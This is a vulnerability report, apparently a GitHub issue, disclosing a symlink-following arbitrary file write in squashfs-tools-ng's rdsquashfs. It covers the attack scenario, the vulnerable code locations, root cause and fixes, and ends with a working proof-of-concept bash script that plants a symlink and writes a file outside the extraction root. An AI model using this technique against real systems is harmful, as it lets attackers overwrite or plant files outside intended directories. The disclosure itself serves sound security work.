Skip to content

squashfs-tools-ng rdsquashfs Arbitrary File Write via Preexisting Parent-Component Symlink #137

Description

@Nicholas-wei

rdsquashfs is often used to unpack SquashFS images into an existing directory for inspection (firmware analysis, container/image tooling, CI scanning, etc.).

This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)

One realistic attack scenario is a shared workspace where the destination directory is not empty and contains attacker-controlled filesystem entries:

/tmp/rdsquashfs_poc/
|-- out/
|   `-- dir -> ../outside/     (preexisting symlink planted in destination)
|-- outside/
`-- image.sqfs                 (untrusted image containing dir/pwn.txt)

Victim workflow:

  1. Operator runs: rdsquashfs -u / -p /tmp/rdsquashfs_poc/out /tmp/rdsquashfs_poc/image.sqfs
  2. rdsquashfs treats out/dir as “already exists” and later follows it when creating dir/pwn.txt
  3. The extracted file is written into /tmp/rdsquashfs_poc/outside/pwn.txt (outside the intended extraction root)

This class requires a hostile pre-state: the SquashFS image bytes can be fully valid and contain only normal relative paths.

0. Environment

  • Source: git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
  • Version: squashfs-tools-ng commit e3dcf17 (latest on 23/04/2026)
  • Version below e3dcf17 is also infected.

1. Description

rdsquashfs supports unpacking a SquashFS image into an existing destination directory (via --unpack-root/-p).

If a destination path component already exists as a symlink, rdsquashfs will treat it as “already exists” and proceed, then later filesystem operations will follow the symlink and write outside of the intended extraction root.

This is a classic “hostile pre-state” extraction bug.

Relevant code:

  • lib/util/src/mkdir_p.c:126+ — treats mkdir(...)=EEXIST as success without verifying inode type.
  • bin/rdsquashfs/src/rdsquashfs.c:243-248mkdir_p(opt.unpack_root) then chdir(opt.unpack_root).
  • bin/rdsquashfs/src/restore_fstree.c:61+ — directory creation accepts EEXIST without lstat() checks; later creates/writes regular files by path, allowing symlink traversal in parent components.

2. Impact

An attacker who can influence the destination directory contents (or any software that extracts into a non-empty / attacker-prepared directory) can cause rdsquashfs to write files outside the intended output directory.

Impact ranges from clobbering application/user files to planting startup/config files in attacker-controlled locations, depending on privileges and extraction context.

3. Root Cause

  • No symlink-safe path walking for output paths.
  • Existing path components are not validated with lstat() / S_ISDIR checks before being reused.

4. Proof-of-Concept

4.1 PoC files

  • Runner: poc.sh

4.2 Expected result

The PoC verifies that rdsquashfs writes:

  • /tmp/rdsquashfs_poc/outside/pwn.txt

even though extraction was requested under:

  • /tmp/rdsquashfs_poc/out/

5. Fix Recommendations

  1. Perform extraction relative to a trusted directory fd (e.g., openat() with a symlink-safe path walk).
  2. When encountering existing path components, lstat() them and reject S_IFLNK (and other unexpected types).
  3. If you want to support merging into existing directories, require that every existing directory component is a real directory, not a symlink.
  4. Add regression tests for:
    • preexisting dir -> ../outside
    • extraction root being a symlink

6. Reproduction

From this directory:

bash poc.sh

Below is poc.sh

#!/usr/bin/env bash
set -euo pipefail

SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"

for bin in mksquashfs; do
  if ! command -v "$bin" >/dev/null 2>&1; then
    echo "error: $bin is required" >&2
    exit 1
  fi
done

if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
  git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi

git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"

base=/tmp/unpfuzz_rdsquashfs_poc
rm -rf "${base}"
mkdir -p "${base}/src/dir" "${base}/out" "${base}/outside"
printf 'RDSQFS\n' > "${base}/src/dir/pwn.txt"

mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null

## Preexisting symlink in the destination tree.
ln -s ../outside "${base}/out/dir"

## Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
  (cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi

build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)

rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
  echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
  exit 1
fi

"${rdsq_bin}" -q -u / -p "${base}/out" "${base}/test.sqfs" >/dev/null

if [[ ! -f "${base}/outside/pwn.txt" ]]; then
  echo "[-] exploit failed: expected outside file not found" >&2
  find "${base}" -maxdepth 4 -ls >&2 || true
  exit 1
fi

echo "[+] extraction followed preexisting parent symlink; wrote outside:"
ls -l "${base}/outside/pwn.txt"
cat "${base}/outside/pwn.txt"

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions